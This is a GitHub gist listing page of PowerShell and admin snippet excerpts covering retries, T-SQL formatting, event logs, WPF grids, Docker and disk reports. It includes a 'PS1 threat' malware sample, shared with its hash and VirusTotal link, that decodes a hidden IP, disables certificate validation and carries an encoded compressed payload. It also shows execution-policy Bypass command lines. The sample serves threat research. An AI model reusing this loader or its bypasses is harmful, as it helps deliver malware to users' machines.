Skip to content

Instantly share code, notes, and snippets.

View KurtDeGreeff's full-sized avatar

Kurt De Greeff KurtDeGreeff

View GitHub Profile
<#
.SYNOPSIS
Retries a powershell command n-times.
.DESCRIPTION
The cmdlet is capable of retrying a PowerShell command passed as a [ScriptBlock] according to the user defined number of retries and timeout (In Seconds)
.PARAMETER TimeoutInSecs
Timeout in secods for each retry.
<#
.Synopsis
Formatting your T-SQL code
.DESCRIPTION
Formatting T-SQL code through RedGate Format Api (https://www.red-gate.com/products/sql-development/sql-prompt/)
Works on PowerShell Core (aka PowerShell 6+)
.EXAMPLE
$Script = '--(Query 16)_(AlwaysOn AG Cluster)
SELECT cluster_name, quorum_type_desc, quorum_state_desc

Credit: Mark Kraus
Website: https://get-powershellblog.blogspot.com

Collection Type Guidence

When to use what

  • Use Arrays if you know the element types and have a fixed length and/or known-up-front collection size that will not change.
  • Use ArrayList if you have an unkown collection size with either unknown or mixed type elements.
  • Use a Generic List when know the type of the elements but not the size of the collection.
  • Use a HashTable if you are going to do key based lookups on a collection and don't know the object type of the elements.
  • Use a Dictionary<TKey, TValue> you are going to do key based lookups on a collection and you know the type of the elements.
  • Use a HashSet when you know the type of elements and just want unique values and quick lookups and assignmnets.
@KurtDeGreeff
KurtDeGreeff / ConvertFrom-EventLogRecord.ps1
Created November 24, 2018 14:13 — forked from IISResetMe/ConvertFrom-EventLogRecord.ps1
Convert EventData fields from windows event log records to objects
function ConvertFrom-EventLogRecord
{
param(
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[System.Diagnostics.Eventing.Reader.EventLogRecord[]]
$InputEvent,
[Parameter(Mandatory=$true,Position=1)]
[ValidateNotNullOrEmpty()]
[string[]]
"C:\Program Files (x86)\IBM\Lotus\Notes\Notes.exe" "=N:\Lotus\Notes\Data\notes.ini" -Command if((Get-ExecutionPolicy ) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }
NLNOTES.EXE /authenticate "=N:\Lotus\Notes\Data\notes.ini" -Command if((Get-ExecutionPolicy ) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }
Hashes of each binary (prepare for onslaught of md5 naysayers):
Notes.exe — 8f633ef1e1147637c25dd917909cd361
NLNOTES.EXE — 3586b9069a1d4e1c63d9c9cf95cf4126
@KurtDeGreeff
KurtDeGreeff / Out-WPFGrid.ps1
Created September 8, 2018 20:54 — forked from jdhitsolutions/Out-WPFGrid.ps1
A Windows PowerShell function to display command output in an interactive WPF-based datagrid.
#requires -version 5.0
# ToDo: Add option to use last position for Top and Left properties of the form or provide that as an option
# ToDo: Add statusbar for timer countdown and other information
Function Out-WPFGrid {
<#
.Synopsis
Send command output to an interactive WPF-based grid.
@KurtDeGreeff
KurtDeGreeff / Docker commands
Created September 6, 2018 18:08 — forked from rokinmaharjan/Docker commands
Docker commands
1. Run an container
docker run image-name
2. Run an container in detached mode
docker run -d image-name
3. Stop all running containers
docker kill $(docker ps -q)
4. Delete all stopped containers
@KurtDeGreeff
KurtDeGreeff / PS1 threat
Created August 26, 2018 19:24 — forked from JohnLaTwC/PS1 threat
2a27d7ad1f16c90767e1cf98c92905aa5a3030a268c8206462c5215a87d0e132
## Uploaded by @JohnLaTwC
## Hash: 2a27d7ad1f16c90767e1cf98c92905aa5a3030a268c8206462c5215a87d0e132
## VT Link: https://www.virustotal.com/#/file/2a27d7ad1f16c90767e1cf98c92905aa5a3030a268c8206462c5215a87d0e132/detection
## Original file
$YHRIul = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("MTYyLjI0NC4zMi4xNDg="))
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$gxPVX = [System.Convert]::FromBase64String("H4sIAAAAAAACC+1Ye2wcRxn/9r17ti9Zn3t3cXq+S/PoNW6ujp02rZSCE9u0TuLYiZ3EdmiT9d3G3uS8e9lbu3GBKIhQUaGmtVBKW1KrPFRVgAoIJAIFiao8WqCIBhCISihUolSqACEeQiAIv5nd8yM2rdQ/+AfWvm++13zP2Zm56xt9hCQikvG5epXoEoVPJ739cxafePbrcfqK8fK6S8Lel9cNTTjVXMX3xn1rMle0XNcLcmN2zp9yc46b6+4fzE16JbvQ0BDbENkY6CHaK0j0929Vj9TsXiFxXZ2gEzWBUEPeXAdArhZYZ4iLYdxECyMPSgxRiTo/TLSa/y+M80PoH3b3RCYfE1dI8hhRPb2DB/Hpi0gd9N2L6EJgnw4wfiYR5dW0EPciE8cKftUvUhRbZ5Rocqke2J0F3y57xSjWY5Gt5mV6u5b1sCMc7+ZTFHojTzQRIxLonT2JNpleJz7fzCPWmKcAxPIqQzUGUJVY6qE6qCRkU05mtzxpyp4BZl0VfmP1ehWyWIOhNT+Rr2cTGgAMbe0S6vrFVD
@KurtDeGreeff
KurtDeGreeff / ConvertTo-Markdown.ps1
Created August 18, 2018 12:55 — forked from jdhitsolutions/ConvertTo-Markdown.ps1
Convert pipeline output to a markdown document
#requires -version 5.0
Function ConvertTo-Markdown {
<#
.Synopsis
Convert pipeline output to a markdown document.
.Description
This command is designed to accept pipelined output and create a markdown document. The pipeline output will formatted as a text block. You can optionally define a title, content to appear before the output and content to appear after the output.
The command does not create a text file. You need to pipe results from this command to a cmdlet like Out-File or Set-Content. See examples.
.Parameter Title
@KurtDeGreeff
KurtDeGreeff / New-WizTreeDiskUsageReport.ps1
Created August 16, 2018 20:58 — forked from SMSAgentSoftware/New-WizTreeDiskUsageReport.ps1
Creates csv and html disk usage reports using WizTree portable
# Script to export html and csv reports of file and directory content on the system drive
# Use to identify large files/directories for disk space cleanup
# Uses WizTree portable to quickly retrieve file and directory sizes from the Master File Table on disk
# Download and extract the WizTree64.exe and place in the same directory as this script
# Set the running location
$RunLocation = $PSScriptRoot
#$RunLocation = "C:\temp"
$TempLocation = "C:\temp"